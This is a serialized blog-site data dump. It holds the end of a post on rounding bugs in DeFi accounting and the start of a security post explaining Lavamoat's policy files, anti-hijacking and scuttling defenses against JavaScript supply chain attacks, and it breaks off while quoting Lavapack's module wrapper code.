precision;\n",{"type":23,"tag":504,"props":49002,"children":49003},{"class":5016,"line":4868},[49004,49009,49013,49018,49022,49027,49031],{"type":23,"tag":504,"props":49005,"children":49006},{"style":5058},[49007],{"type":29,"value":49008},"accrualIndices.deposited ",{"type":23,"tag":504,"props":49010,"children":49011},{"style":5047},[49012],{"type":29,"value":546},{"type":23,"tag":504,"props":49014,"children":49015},{"style":5058},[49016],{"type":29,"value":49017}," accrualIndices.deposited ",{"type":23,"tag":504,"props":49019,"children":49020},{"style":5047},[49021],{"type":29,"value":6613},{"type":23,"tag":504,"props":49023,"children":49024},{"style":5058},[49025],{"type":29,"value":49026}," depositInterestFactor ",{"type":23,"tag":504,"props":49028,"children":49029},{"style":5047},[49030],{"type":29,"value":6623},{"type":23,"tag":504,"props":49032,"children":49033},{"style":5058},[49034],{"type":29,"value":49000},{"type":23,"tag":32,"props":49036,"children":49037},{},[49038],{"type":29,"value":49039},"We also want to note some general takeaways:",{"type":23,"tag":32,"props":49041,"children":49042},{},[49043,49045,49050],{"type":29,"value":49044},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":4321,"props":49046,"children":49047},{},[49048],{"type":29,"value":49049},"apply the state changes and check the invariant",{"type":29,"value":357},{"type":23,"tag":32,"props":49052,"children":49053},{},[49054],{"type":29,"value":49055},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":32,"props":49057,"children":49058},{},[49059],{"type":29,"value":49060},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":24,"props":49062,"children":49063},{"id":4832},[49064],{"type":29,"value":4835},{"type":23,"tag":32,"props":49066,"children":49067},{},[49068],{"type":29,"value":49069},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":32,"props":49071,"children":49072},{},[49073],{"type":29,"value":49074},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":7410,"props":49076,"children":49077},{},[49078],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":49080},[49081,49082,49083,49087,49088,49089],{"id":31069,"depth":4868,"text":31072},{"id":48003,"depth":4868,"text":48006},{"id":48122,"depth":4868,"text":48125,"children":49084},[49085,49086],{"id":48133,"depth":4876,"text":48136},{"id":48171,"depth":4876,"text":48174},{"id":48729,"depth":4868,"text":48732},{"id":48794,"depth":4868,"text":48797},{"id":4832,"depth":4868,"text":4835},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":49094,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":49095,"description":49096,"author":49097,"image":49098,"date":49100,"isFeatured":15,"onBlogPage":15,"body":49101,"_type":4892,"_id":52581,"_source":4894,"_file":52582,"_stem":52583,"_extension":4897},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[33256,11],{"src":49099},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":49102,"toc":52560},[49103,49107,49128,49133,49137,49142,49181,49187,49202,49220,49225,49230,49235,49248,49555,49581,49594,49599,49604,49618,49623,49636,49650,49881,49902,49937,49943,49948,49953,50167,50188,50194,50206,50296,50318,50354,50362,50380,50637,50663,50669,50683,50881,50900,51307,51320,51326,51345,51438,51443,51449,51462,51475,51561,51567,51579,51664,51676,51689,51695,51700,51714,52041,52046,52051,52057,52083,52138,52158,52211,52217,52222,52241,52252,52446,52452,52475,52481,52486,52499,52504,52509,52513,52518,52526,52556],{"type":23,"tag":24,"props":49104,"children":49105},{"id":21007},[49106],{"type":29,"value":21010},{"type":23,"tag":32,"props":49108,"children":49109},{},[49110,49117,49119,49126],{"type":23,"tag":68,"props":49111,"children":49114},{"href":49112,"rel":49113},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[72],[49115],{"type":29,"value":49116},"Supply chain",{"type":29,"value":49118}," attacks are becoming ",{"type":23,"tag":68,"props":49120,"children":49123},{"href":49121,"rel":49122},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[72],[49124],{"type":29,"value":49125},"increasingly popular in Web3",{"type":29,"value":49127},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":32,"props":49129,"children":49130},{},[49131],{"type":29,"value":49132},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":320,"props":49134,"children":49135},{"id":31069},[49136],{"type":29,"value":31072},{"type":23,"tag":32,"props":49138,"children":49139},{},[49140],{"type":29,"value":49141},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":139,"props":49143,"children":49144},{},[49145,49157,49169],{"type":23,"tag":143,"props":49146,"children":49147},{},[49148,49155],{"type":23,"tag":68,"props":49149,"children":49152},{"href":49150,"rel":49151},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[72],[49153],{"type":29,"value":49154},"Lavamoat Browserify",{"type":29,"value":49156}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":143,"props":49158,"children":49159},{},[49160,49167],{"type":23,"tag":68,"props":49161,"children":49164},{"href":49162,"rel":49163},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[72],[49165],{"type":29,"value":49166},"NodeJS Lavamoat",{"type":29,"value":49168}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":143,"props":49170,"children":49171},{},[49172,49179],{"type":23,"tag":68,"props":49173,"children":49176},{"href":49174,"rel":49175},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[72],[49177],{"type":29,"value":49178},"Lavamoat allow-scripts",{"type":29,"value":49180}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":320,"props":49182,"children":49184},{"id":49183},"lavamoats-security-features",[49185],{"type":29,"value":49186},"Lavamoat's Security Features",{"type":23,"tag":32,"props":49188,"children":49189},{},[49190,49192,49200],{"type":29,"value":49191},"The three most important features of Lavamoat",{"type":23,"tag":17520,"props":49193,"children":49194},{},[49195],{"type":23,"tag":68,"props":49196,"children":49198},{"href":31678,"ariaDescribedBy":49197,"dataFootnoteRef":7,"id":31680},[17527],[49199],{"type":29,"value":826},{"type":29,"value":49201}," are:",{"type":23,"tag":1022,"props":49203,"children":49204},{},[49205,49210,49215],{"type":23,"tag":143,"props":49206,"children":49207},{},[49208],{"type":29,"value":49209},"Policy Files",{"type":23,"tag":143,"props":49211,"children":49212},{},[49213],{"type":29,"value":49214},"NPM Anti Hijacking",{"type":23,"tag":143,"props":49216,"children":49217},{},[49218],{"type":29,"value":49219},"Scuttling",{"type":23,"tag":32,"props":49221,"children":49222},{},[49223],{"type":29,"value":49224},"Let's go over them one by one.",{"type":23,"tag":20944,"props":49226,"children":49228},{"id":49227},"policy-files",[49229],{"type":29,"value":49209},{"type":23,"tag":32,"props":49231,"children":49232},{},[49233],{"type":29,"value":49234},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":32,"props":49236,"children":49237},{},[49238,49240,49247],{"type":29,"value":49239},"For example, take the ",{"type":23,"tag":68,"props":49241,"children":49244},{"href":49242,"rel":49243},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[72],[49245],{"type":29,"value":49246},"Metamask Snap policy file",{"type":29,"value":6533},{"type":23,"tag":4743,"props":49249,"children":49251},{"className":33418,"code":49250,"language":33420,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[49252],{"type":23,"tag":154,"props":49253,"children":49254},{"__ignoreMap":7},[49255,49267,49282,49302,49321,49341,49361,49381,49401,49421,49442,49462,49481,49497,49504,49519,49539],{"type":23,"tag":504,"props":49256,"children":49257},{"class":5016,"line":5017},[49258,49263],{"type":23,"tag":504,"props":49259,"children":49260},{"style":6297},[49261],{"type":29,"value":49262},"   \"@metamask/providers\"",{"type":23,"tag":504,"props":49264,"children":49265},{"style":5058},[49266],{"type":29,"value":39079},{"type":23,"tag":504,"props":49268,"children":49269},{"class":5016,"line":4868},[49270,49274,49278],{"type":23,"tag":504,"props":49271,"children":49272},{"style":6297},[49273],{"type":29,"value":39087},{"type":23,"tag":504,"props":49275,"children":49276},{"style":5041},[49277],{"type":29,"value":6533},{"type":23,"tag":504,"props":49279,"children":49280},{"style":5058},[49281],{"type":29,"value":5333},{"type":23,"tag":504,"props":49283,"children":49284},{"class":5016,"line":4876},[49285,49290,49294,49298],{"type":23,"tag":504,"props":49286,"children":49287},{"style":6297},[49288],{"type":29,"value":49289},"        \"Event\"",{"type":23,"tag":504,"props":49291,"children":49292},{"style":5041},[49293],{"type":29,"value":6533},{"type":23,"tag":504,"props":49295,"children":49296},{"style":5030},[49297],{"type":29,"value":14515},{"type":23,"tag":504,"props":49299,"children":49300},{"style":5058},[49301],{"type":29,"value":5557},{"type":23,"tag":504,"props":49303,"children":49304},{"class":5016,"line":5099},[49305,49309,49313,49317],{"type":23,"tag":504,"props":49306,"children":49307},{"style":6297},[49308],{"type":29,"value":39139},{"type":23,"tag":504,"props":49310,"children":49311},{"style":5041},[49312],{"type":29,"value":6533},{"type":23,"tag":504,"props":49314,"children":49315},{"style":5030},[49316],{"type":29,"value":14515},{"type":23,"tag":504,"props":49318,"children":49319},{"style":5058},[49320],{"type":29,"value":5557},{"type":23,"tag":504,"props":49322,"children":49323},{"class":5016,"line":5203},[49324,49329,49333,49337],{"type":23,"tag":504,"props":49325,"children":49326},{"style":6297},[49327],{"type":29,"value":49328},"        \"chrome.runtime.connect\"",{"type":23,"tag":504,"props":49330,"children":49331},{"style":5041},[49332],{"type":29,"value":6533},{"type":23,"tag":504,"props":49334,"children":49335},{"style":5030},[49336],{"type":29,"value":14515},{"type":23,"tag":504,"props":49338,"children":49339},{"style":5058},[49340],{"type":29,"value":5557},{"type":23,"tag":504,"props":49342,"children":49343},{"class":5016,"line":5308},[49344,49349,49353,49357],{"type":23,"tag":504,"props":49345,"children":49346},{"style":6297},[49347],{"type":29,"value":49348},"        \"console\"",{"type":23,"tag":504,"props":49350,"children":49351},{"style":5041},[49352],{"type":29,"value":6533},{"type":23,"tag":504,"props":49354,"children":49355},{"style":5030},[49356],{"type":29,"value":14515},{"type":23,"tag":504,"props":49358,"children":49359},{"style":5058},[49360],{"type":29,"value":5557},{"type":23,"tag":504,"props":49362,"children":49363},{"class":5016,"line":5336},[49364,49369,49373,49377],{"type":23,"tag":504,"props":49365,"children":49366},{"style":6297},[49367],{"type":29,"value":49368},"        \"dispatchEvent\"",{"type":23,"tag":504,"props":49370,"children":49371},{"style":5041},[49372],{"type":29,"value":6533},{"type":23,"tag":504,"props":49374,"children":49375},{"style":5030},[49376],{"type":29,"value":14515},{"type":23,"tag":504,"props":49378,"children":49379},{"style":5058},[49380],{"type":29,"value":5557},{"type":23,"tag":504,"props":49382,"children":49383},{"class":5016,"line":5349},[49384,49389,49393,49397],{"type":23,"tag":504,"props":49385,"children":49386},{"style":6297},[49387],{"type":29,"value":49388},"        \"document.createElement\"",{"type":23,"tag":504,"props":49390,"children":49391},{"style":5041},[49392],{"type":29,"value":6533},{"type":23,"tag":504,"props":49394,"children":49395},{"style":5030},[49396],{"type":29,"value":14515},{"type":23,"tag":504,"props":49398,"children":49399},{"style":5058},[49400],{"type":29,"value":5557},{"type":23,"tag":504,"props":49402,"children":49403},{"class":5016,"line":5367},[49404,49409,49413,49417],{"type":23,"tag":504,"props":49405,"children":49406},{"style":6297},[49407],{"type":29,"value":49408},"        \"document.readyState\"",{"type":23,"tag":504,"props":49410,"children":49411},{"style":5041},[49412],{"type":29,"value":6533},{"type":23,"tag":504,"props":49414,"children":49415},{"style":5030},[49416],{"type":29,"value":14515},{"type":23,"tag":504,"props":49418,"children":49419},{"style":5058},[49420],{"type":29,"value":5557},{"type":23,"tag":504,"props":49422,"children":49423},{"class":5016,"line":5388},[49424,49429,49433,49438],{"type":23,"tag":504,"props":49425,"children":49426},{"style":6297},[49427],{"type":29,"value":49428},"        \"ethereum\"",{"type":23,"tag":504,"props":49430,"children":49431},{"style":5041},[49432],{"type":29,"value":6533},{"type":23,"tag":504,"props":49434,"children":49435},{"style":6297},[49436],{"type":29,"value":49437}," \"write\"",{"type":23,"tag":504,"props":49439,"children":49440},{"style":5058},[49441],{"type":29,"value":5557},{"type":23,"tag":504,"props":49443,"children":49444},{"class":5016,"line":5397},[49445,49450,49454,49458],{"type":23,"tag":504,"props":49446,"children":49447},{"style":6297},[49448],{"type":29,"value":49449},"        \"location.hostname\"",{"type":23,"tag":504,"props":49451,"children":49452},{"style":5041},[49453],{"type":29,"value":6533},{"type":23,"tag":504,"props":49455,"children":49456},{"style":5030},[49457],{"type":29,"value":14515},{"type":23,"tag":504,"props":49459,"children":49460},{"style":5058},[49461],{"type":29,"value":5557},{"type":23,"tag":504,"props":49463,"children":49464},{"class":5016,"line":5649},[49465,49469,49473,49477],{"type":23,"tag":504,"props":49466,"children":49467},{"style":6297},[49468],{"type":29,"value":39239},{"type":23,"tag":504,"props":49470,"children":49471},{"style":5041},[49472],{"type":29,"value":6533},{"type":23,"tag":504,"props":49474,"children":49475},{"style":5030},[49476],{"type":29,"value":14515},{"type":23,"tag":504,"props":49478,"children":49479},{"style":5058},[49480],{"type":29,"value":5557},{"type":23,"tag":504,"props":49482,"children":49483},{"class":5016,"line":5666},[49484,49489,49493],{"type":23,"tag":504,"props":49485,"children":49486},{"style":6297},[49487],{"type":29,"value":49488},"        \"web3\"",{"type":23,"tag":504,"props":49490,"children":49491},{"style":5041},[49492],{"type":29,"value":6533},{"type":23,"tag":504,"props":49494,"children":49495},{"style":5030},[49496],{"type":29,"value":48611},{"type":23,"tag":504,"props":49498,"children":49499},{"class":5016,"line":5683},[49500],{"type":23,"tag":504,"props":49501,"children":49502},{"style":5058},[49503],{"type":29,"value":39256},{"type":23,"tag":504,"props":49505,"children":49506},{"class":5016,"line":5696},[49507,49511,49515],{"type":23,"tag":504,"props":49508,"children":49509},{"style":6297},[49510],{"type":29,"value":39264},{"type":23,"tag":504,"props":49512,"children":49513},{"style":5041},[49514],{"type":29,"value":6533},{"type":23,"tag":504,"props":49516,"children":49517},{"style":5058},[49518],{"type":29,"value":5333},{"type":23,"tag":504,"props":49520,"children":49521},{"class":5016,"line":5705},[49522,49527,49531,49535],{"type":23,"tag":504,"props":49523,"children":49524},{"style":6297},[49525],{"type":29,"value":49526},"        \"@metamask/object-multiplex\"",{"type":23,"tag":504,"props":49528,"children":49529},{"style":5041},[49530],{"type":29,"value":6533},{"type":23,"tag":504,"props":49532,"children":49533},{"style":5030},[49534],{"type":29,"value":14515},{"type":23,"tag":504,"props":49536,"children":49537},{"style":5058},[49538],{"type":29,"value":5557},{"type":23,"tag":504,"props":49540,"children":49541},{"class":5016,"line":5728},[49542,49547,49551],{"type":23,"tag":504,"props":49543,"children":49544},{"style":6297},[49545],{"type":29,"value":49546},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":504,"props":49548,"children":49549},{"style":5041},[49550],{"type":29,"value":6533},{"type":23,"tag":504,"props":49552,"children":49553},{"style":5030},[49554],{"type":29,"value":48611},{"type":23,"tag":32,"props":49556,"children":49557},{},[49558,49559,49564,49566,49571,49573,49579],{"type":29,"value":18661},{"type":23,"tag":154,"props":49560,"children":49562},{"className":49561},[],[49563],{"type":29,"value":39329},{"type":29,"value":49565}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":154,"props":49567,"children":49569},{"className":49568},[],[49570],{"type":29,"value":39337},{"type":29,"value":49572}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":23,"tag":154,"props":49574,"children":49576},{"className":49575},[],[49577],{"type":29,"value":49578},"@metamask/providers",{"type":29,"value":49580}," interacts with other packages.",{"type":23,"tag":32,"props":49582,"children":49583},{},[49584,49586,49592],{"type":29,"value":49585},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":154,"props":49587,"children":49589},{"className":49588},[],[49590],{"type":29,"value":49591},"lavapack",{"type":29,"value":49593},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":20944,"props":49595,"children":49597},{"id":49596},"npm-anti-hijacking",[49598],{"type":29,"value":49214},{"type":23,"tag":32,"props":49600,"children":49601},{},[49602],{"type":29,"value":49603},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":23,"tag":32,"props":49605,"children":49606},{},[49607,49609,49616],{"type":29,"value":49608},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":68,"props":49610,"children":49613},{"href":49611,"rel":49612},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[72],[49614],{"type":29,"value":49615},"walking the modules",{"type":29,"value":49617}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":20944,"props":49619,"children":49621},{"id":49620},"scuttling",[49622],{"type":29,"value":49219},{"type":23,"tag":32,"props":49624,"children":49625},{},[49626,49628,49634],{"type":29,"value":49627},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":23,"tag":154,"props":49629,"children":49631},{"className":49630},[],[49632],{"type":29,"value":49633},"GlobalThis",{"type":29,"value":49635}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":32,"props":49637,"children":49638},{},[49639,49641,49648],{"type":29,"value":49640},"For example, ",{"type":23,"tag":68,"props":49642,"children":49645},{"href":49643,"rel":49644},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[72],[49646],{"type":29,"value":49647},"here",{"type":29,"value":49649}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":4743,"props":49651,"children":49653},{"className":33418,"code":49652,"language":33420,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[49654],{"type":23,"tag":154,"props":49655,"children":49656},{"__ignoreMap":7},[49657,49686,49736,49795,49802,49874],{"type":23,"tag":504,"props":49658,"children":49659},{"class":5016,"line":5017},[49660,49664,49668,49673,49677,49682],{"type":23,"tag":504,"props":49661,"children":49662},{"style":5067},[49663],{"type":29,"value":14325},{"type":23,"tag":504,"props":49665,"children":49666},{"style":5058},[49667],{"type":29,"value":5110},{"type":23,"tag":504,"props":49669,"children":49670},{"style":5041},[49671],{"type":29,"value":49672},"scuttleOpts",{"type":23,"tag":504,"props":49674,"children":49675},{"style":5058},[49676],{"type":29,"value":357},{"type":23,"tag":504,"props":49678,"children":49679},{"style":5041},[49680],{"type":29,"value":49681},"enabled",{"type":23,"tag":504,"props":49683,"children":49684},{"style":5058},[49685],{"type":29,"value":16850},{"type":23,"tag":504,"props":49687,"children":49688},{"class":5016,"line":4868},[49689,49693,49697,49701,49706,49710,49715,49719,49723,49727,49732],{"type":23,"tag":504,"props":49690,"children":49691},{"style":5067},[49692],{"type":29,"value":41343},{"type":23,"tag":504,"props":49694,"children":49695},{"style":5058},[49696],{"type":29,"value":5110},{"type":23,"tag":504,"props":49698,"children":49699},{"style":5047},[49700],{"type":29,"value":22674},{"type":23,"tag":504,"props":49702,"children":49703},{"style":5041},[49704],{"type":29,"value":49705},"Array",{"type":23,"tag":504,"props":49707,"children":49708},{"style":5058},[49709],{"type":29,"value":357},{"type":23,"tag":504,"props":49711,"children":49712},{"style":5139},[49713],{"type":29,"value":49714},"isArray",{"type":23,"tag":504,"props":49716,"children":49717},{"style":5058},[49718],{"type":29,"value":603},{"type":23,"tag":504,"props":49720,"children":49721},{"style":5041},[49722],{"type":29,"value":49672},{"type":23,"tag":504,"props":49724,"children":49725},{"style":5058},[49726],{"type":29,"value":357},{"type":23,"tag":504,"props":49728,"children":49729},{"style":5041},[49730],{"type":29,"value":49731},"exceptions",{"type":23,"tag":504,"props":49733,"children":49734},{"style":5058},[49735],{"type":29,"value":37250},{"type":23,"tag":504,"props":49737,"children":49738},{"class":5016,"line":4876},[49739,49744,49748,49752,49756,49761,49765,49769,49774,49778,49782,49786,49791],{"type":23,"tag":504,"props":49740,"children":49741},{"style":5067},[49742],{"type":29,"value":49743},"        throw",{"type":23,"tag":504,"props":49745,"children":49746},{"style":5030},[49747],{"type":29,"value":33988},{"type":23,"tag":504,"props":49749,"children":49750},{"style":5139},[49751],{"type":29,"value":42340},{"type":23,"tag":504,"props":49753,"children":49754},{"style":5058},[49755],{"type":29,"value":603},{"type":23,"tag":504,"props":49757,"children":49758},{"style":6297},[49759],{"type":29,"value":49760},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":504,"props":49762,"children":49763},{"style":5030},[49764],{"type":29,"value":36164},{"type":23,"tag":504,"props":49766,"children":49767},{"style":5030},[49768],{"type":29,"value":33458},{"type":23,"tag":504,"props":49770,"children":49771},{"style":5041},[49772],{"type":29,"value":49773}," scuttleOpts",{"type":23,"tag":504,"props":49775,"children":49776},{"style":5047},[49777],{"type":29,"value":357},{"type":23,"tag":504,"props":49779,"children":49780},{"style":5041},[49781],{"type":29,"value":49731},{"type":23,"tag":504,"props":49783,"children":49784},{"style":5030},[49785],{"type":29,"value":36196},{"type":23,"tag":504,"props":49787,"children":49788},{"style":6297},[49789],{"type":29,"value":49790},"\"`",{"type":23,"tag":504,"props":49792,"children":49793},{"style":5058},[49794],{"type":29,"value":5200},{"type":23,"tag":504,"props":49796,"children":49797},{"class":5016,"line":5099},[49798],{"type":23,"tag":504,"props":49799,"children":49800},{"style":5058},[49801],{"type":29,"value":14710},{"type":23,"tag":504,"props":49803,"children":49804},{"class":5016,"line":5203},[49805,49810,49814,49819,49823,49828,49832,49837,49841,49846,49850,49854,49858,49862,49866,49870],{"type":23,"tag":504,"props":49806,"children":49807},{"style":5041},[49808],{"type":29,"value":49809},"      scuttleOpts",{"type":23,"tag":504,"props":49811,"children":49812},{"style":5058},[49813],{"type":29,"value":357},{"type":23,"tag":504,"props":49815,"children":49816},{"style":5139},[49817],{"type":29,"value":49818},"scuttlerFunc",{"type":23,"tag":504,"props":49820,"children":49821},{"style":5058},[49822],{"type":29,"value":603},{"type":23,"tag":504,"props":49824,"children":49825},{"style":5041},[49826],{"type":29,"value":49827},"globalRef",{"type":23,"tag":504,"props":49829,"children":49830},{"style":5058},[49831],{"type":29,"value":4367},{"type":23,"tag":504,"props":49833,"children":49834},{"style":5041},[49835],{"type":29,"value":49836},"realm",{"type":23,"tag":504,"props":49838,"children":49839},{"style":5030},[49840],{"type":29,"value":29806},{"type":23,"tag":504,"props":49842,"children":49843},{"style":5139},[49844],{"type":29,"value":49845}," performScuttleGlobalThis",{"type":23,"tag":504,"props":49847,"children":49848},{"style":5058},[49849],{"type":29,"value":603},{"type":23,"tag":504,"props":49851,"children":49852},{"style":5041},[49853],{"type":29,"value":49836},{"type":23,"tag":504,"props":49855,"children":49856},{"style":5058},[49857],{"type":29,"value":4367},{"type":23,"tag":504,"props":49859,"children":49860},{"style":5041},[49861],{"type":29,"value":49672},{"type":23,"tag":504,"props":49863,"children":49864},{"style":5058},[49865],{"type":29,"value":357},{"type":23,"tag":504,"props":49867,"children":49868},{"style":5041},[49869],{"type":29,"value":49731},{"type":23,"tag":504,"props":49871,"children":49872},{"style":5058},[49873],{"type":29,"value":21764},{"type":23,"tag":504,"props":49875,"children":49876},{"class":5016,"line":5308},[49877],{"type":23,"tag":504,"props":49878,"children":49879},{"style":5058},[49880],{"type":29,"value":5403},{"type":23,"tag":32,"props":49882,"children":49883},{},[49884,49886,49892,49894,49900],{"type":29,"value":49885},"Subsequently, the code defines a ",{"type":23,"tag":68,"props":49887,"children":49890},{"href":49888,"rel":49889},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[72],[49891],{"type":29,"value":33432},{"type":29,"value":49893}," called ",{"type":23,"tag":154,"props":49895,"children":49897},{"className":49896},[],[49898],{"type":29,"value":49899},"generateScuttleOpts",{"type":29,"value":49901}," that creates and returns an options object.",{"type":23,"tag":32,"props":49903,"children":49904},{},[49905,49907,49913,49914,49920,49922,49927,49929,49935],{"type":29,"value":49906},"Finally, the ",{"type":23,"tag":154,"props":49908,"children":49910},{"className":49909},[],[49911],{"type":29,"value":49912},"performScuttleGlobalThis",{"type":29,"value":1698},{"type":23,"tag":68,"props":49915,"children":49918},{"href":49916,"rel":49917},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[72],[49919],{"type":29,"value":33432},{"type":29,"value":49921}," modifies the properties of the global object (",{"type":23,"tag":154,"props":49923,"children":49925},{"className":49924},[],[49926],{"type":29,"value":49827},{"type":29,"value":49928},"). It starts by creating an array ",{"type":23,"tag":154,"props":49930,"children":49932},{"className":49931},[],[49933],{"type":29,"value":49934},"props",{"type":29,"value":49936},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":24,"props":49938,"children":49940},{"id":49939},"hacking-webpacks",[49941],{"type":29,"value":49942},"Hacking Webpacks",{"type":23,"tag":32,"props":49944,"children":49945},{},[49946],{"type":29,"value":49947},"Now let's get to the fun stuff.",{"type":23,"tag":32,"props":49949,"children":49950},{},[49951],{"type":29,"value":49952},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":4743,"props":49954,"children":49956},{"className":33418,"code":49955,"language":33420,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[49957],{"type":23,"tag":154,"props":49958,"children":49959},{"__ignoreMap":7},[49960,50012,50024,50044,50061,50069,50077,50085,50093,50114,50122,50130,50138,50145,50152,50159],{"type":23,"tag":504,"props":49961,"children":49962},{"class":5016,"line":5017},[49963,49967,49972,49976,49981,49985,49990,49994,49999,50003,50008],{"type":23,"tag":504,"props":49964,"children":49965},{"style":5030},[49966],{"type":29,"value":38245},{"type":23,"tag":504,"props":49968,"children":49969},{"style":5041},[49970],{"type":29,"value":49971}," filename",{"type":23,"tag":504,"props":49973,"children":49974},{"style":5047},[49975],{"type":29,"value":5050},{"type":23,"tag":504,"props":49977,"children":49978},{"style":5139},[49979],{"type":29,"value":49980}," encodeURI",{"type":23,"tag":504,"props":49982,"children":49983},{"style":5058},[49984],{"type":29,"value":603},{"type":23,"tag":504,"props":49986,"children":49987},{"style":5139},[49988],{"type":29,"value":49989},"String",{"type":23,"tag":504,"props":49991,"children":49992},{"style":5058},[49993],{"type":29,"value":603},{"type":23,"tag":504,"props":49995,"children":49996},{"style":5041},[49997],{"type":29,"value":49998},"moduleData",{"type":23,"tag":504,"props":50000,"children":50001},{"style":5058},[50002],{"type":29,"value":357},{"type":23,"tag":504,"props":50004,"children":50005},{"style":5041},[50006],{"type":29,"value":50007},"file",{"type":23,"tag":504,"props":50009,"children":50010},{"style":5058},[50011],{"type":29,"value":21764},{"type":23,"tag":504,"props":50013,"children":50014},{"class":5016,"line":4868},[50015,50019],{"type":23,"tag":504,"props":50016,"children":50017},{"style":5030},[50018],{"type":29,"value":9900},{"type":23,"tag":504,"props":50020,"children":50021},{"style":5041},[50022],{"type":29,"value":50023}," 